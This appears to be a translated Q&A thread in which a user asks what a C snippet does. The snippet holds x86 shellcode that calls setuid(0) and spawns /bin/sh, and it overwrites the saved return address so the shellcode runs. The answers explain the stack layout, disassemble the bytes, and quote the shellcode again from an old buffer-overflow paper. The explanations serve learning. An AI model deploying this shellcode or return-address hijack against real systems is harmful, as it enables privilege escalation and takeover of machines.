任何人都可以向我解释这个代码吗?

时间:2010-04-24 19:36:00

标签: c stack exploit shellcode

警告:这是一个漏洞。不要执行此代码。

//shellcode.c

char shellcode[] =
    "\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
    "\x80\xe8\xdc\xff\xff\xff/bin/sh";

int main() { 
    int *ret; //ret pointer for manipulating saved return.

    ret = (int *)&ret + 2; //setret to point to the saved return
                           //value on the stack.

    (*ret) = (int)shellcode; //change the saved return value to the
                             //address of the shellcode, so it executes.
}

有人能给我一个更好的解释吗?

7 个答案:

答案 0 :(得分:23)

显然,此代码尝试更改堆栈,以便在main函数返回时,程序执行不会定期返回到运行时库(通常会终止程序),但会跳转到代码中保存在shellcode数组中。

1) int *ret;

在堆栈上定义一个变量,就在main函数的参数下面。

2) ret = (int *)&ret + 2;

允许ret变量指向位于堆栈上int *以上int两个ret的{​​{1}}。据说,当main返回时,返回地址位于程序将继续的位置。

2) (*ret) = (int)shellcode;

返回地址设置为shellcode数组内容的地址,以便shellcode返回时执行main的内容。


shellcode似乎包含可能进行系统调用以启动/bin/sh的机器指令。我可能错了,因为我实际上并没有反汇编shellcode


P.S。:此代码依赖于机器和编译器,可能无法在所有平台上运行。


回复您的第二个问题:

  

如果我使用会发生什么   ret =(int)& ret +2我们为什么加2?   为什么不是3或4 ???我觉得那个   是4个字节,所以2个将是8个字节没有?

ret被声明为int*,因此为其分配int(例如(int)&ret)将是一个错误。至于为什么添加2而不是任何其他数字:显然是因为此代码假定返回地址位于堆栈上的该位置。请考虑以下事项:

  • 此代码假定调用堆栈在向其推送时会向下增长(就像使用Intel处理器一样)。这就是为什么添加而不是减去的原因:返回地址位于比自动(本地)变量更高的内存地址(例如ret )。

  • 从我记忆中的英特尔组装日来看,C函数经常被这样调用:首先,所有参数都以相反的顺序(从右到左)被压入堆栈。然后,调用该函数。因此返回地址被压入堆栈。然后,建立一个新的堆栈帧,包括将ebp寄存器推入堆栈。然后,在堆栈上设置局部变量,直到所有已经被推到它上面的位置。

现在我假设你的程序有以下堆栈布局:

+-------------------------+
|  function arguments     |                       |
|  (e.g. argv, argc)      |                       |  (note: the stack
+-------------------------+   <-- ss:esp + 12     |   grows downward!)
|  return address         |                       |
+-------------------------+   <-- ss:esp + 8      V
|  saved ebp register     |                       
+-------------------------+   <-- ss:esp + 4  /  ss:ebp - 0  (see code below)
|  local variable (ret)   |                       
+-------------------------+   <-- ss:esp + 0  /  ss:ebp - 4

底部是ret(这是一个32位整数)。上面是保存的ebp寄存器(也是32位宽)。上面是32位返回地址。 (上面是main的参数 - argcargv - 但这些在这里并不重要。)当函数执行时,堆栈指针指向{{1 }}。返回地址位于“ret以上64位,对应于

中的ret
+ 2

它是ret = (int*)&ret + 2; ,因为+ 2ret,而int*是32位,因此添加2表示将其设置为2×32位的内存位置( = {64})高于int ...如果上段中的所有假设都是正确的,那么它将是返回地址的位置。


游览:让我用英特尔汇编语言演示如何调用C函数 <(如果我没记错的话 - 我不是这个主题的大师所以我可能是错的):

(int*)&ret

在主内部,可能会发生以下情况:

// first, push all function arguments on the stack in reverse order:
push  argv
push  argc

// then, call the function; this will push the current execution address
// on the stack so that a return instruction can get back here:
call  main

// (afterwards: clean up stack by removing the function arguments, e.g.:)
add   esp, 8

另请参阅:有关此主题的其他说明的procedure call sequence in C说明。

答案 1 :(得分:19)

实际的shellcode是:

(gdb) x /25i &shellcode
0x804a040 <shellcode>:      xor    %eax,%eax
0x804a042 <shellcode+2>:    xor    %ebx,%ebx
0x804a044 <shellcode+4>:    mov    $0x17,%al
0x804a046 <shellcode+6>:    int    $0x80
0x804a048 <shellcode+8>:    jmp    0x804a069 <shellcode+41>
0x804a04a <shellcode+10>:   pop    %esi
0x804a04b <shellcode+11>:   mov    %esi,0x8(%esi)
0x804a04e <shellcode+14>:   xor    %eax,%eax
0x804a050 <shellcode+16>:   mov    %al,0x7(%esi)
0x804a053 <shellcode+19>:   mov    %eax,0xc(%esi)
0x804a056 <shellcode+22>:   mov    $0xb,%al
0x804a058 <shellcode+24>:   mov    %esi,%ebx
0x804a05a <shellcode+26>:   lea    0x8(%esi),%ecx
0x804a05d <shellcode+29>:   lea    0xc(%esi),%edx
0x804a060 <shellcode+32>:   int    $0x80
0x804a062 <shellcode+34>:   xor    %ebx,%ebx
0x804a064 <shellcode+36>:   mov    %ebx,%eax
0x804a066 <shellcode+38>:   inc    %eax
0x804a067 <shellcode+39>:   int    $0x80
0x804a069 <shellcode+41>:   call   0x804a04a <shellcode+10>
0x804a06e <shellcode+46>:   das    
0x804a06f <shellcode+47>:   bound  %ebp,0x6e(%ecx)
0x804a072 <shellcode+50>:   das    
0x804a073 <shellcode+51>:   jae    0x804a0dd
0x804a075 <shellcode+53>:   add    %al,(%eax)

这大致相当于

setuid(0);
x[0] = "/bin/sh"
x[1] = 0;
execve("/bin/sh", &x[0], &x[1])
exit(0);

答案 2 :(得分:15)

该字符串来自缓冲区溢出的旧文档,并将执行/ bin / sh。因为它是恶意代码(当与缓冲区漏洞利用配对时) - 下次你应该真正包含它的来源。

在同一份文件中, how to code stack based exploits

/* the shellcode is hex for: */
      #include <stdio.h>
       main() { 
       char *name[2]; 
       name[0] = "sh"; 
       name[1] = NULL;
       execve("/bin/sh",name,NULL);
          } 

char shellcode[] =
        "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0
         \x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c
         \xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";

您包含的代码会导致执行shellcode []的内容,运行execve并提供对shell的访问权限。和Shellcode一词?来自Wikipedia

  

在计算机安全中,shellcode是一个   用作的一小段代码   开发中的有效载荷   软件漏洞。它被称为   “shellcode”,因为它通常   从中启动一个命令shell   攻击者可以控制被攻陷者   机。 Shellcode通常是写的   在机器代码中,但任何一段代码   执行类似任务可以   叫做shellcode。

答案 3 :(得分:5)

在不查找要确认的所有实际操作码的情况下,shellcode数组包含执行/bin/sh所需的机器代码。这个shellcode是精心构造的机器代码,用于在特定目标平台上执行所需操作,而不包含任何null字节。

main()中的代码正在更改返回地址和执行流程,以使程序通过执行shellcode数组中的指令来生成shell。

有关如何创建shellcode以及如何使用shellcode的说明,请参阅Smashing The Stack For Fun And Profit

答案 4 :(得分:0)

该字符串包含一系列以十六进制表示的字节。

字节编码特定平台上特定处理器的一系列指令 - 希望是你的。 (编辑:如果它是恶意软件,希望你的!)

定义变量只是为了获得堆栈的句柄。书签,如果你愿意的话。然后使用指针算法,再次依赖于平台,来操纵程序的状态,使处理器跳转并执行字符串中的字节。

答案 5 :(得分:0)

每个\ xXX是十六进制数。这些数字中的一个,两个或三个一起形成一个操作码(google for it)。它形成了可以或多或少地直接由机器执行的组装。此代码尝试执行shellcode。

我认为shellcode会尝试生成一个shell。

答案 6 :(得分:0)

这只是生成/bin/sh,例如在C中像execve("/bin/sh", NULL, NULL);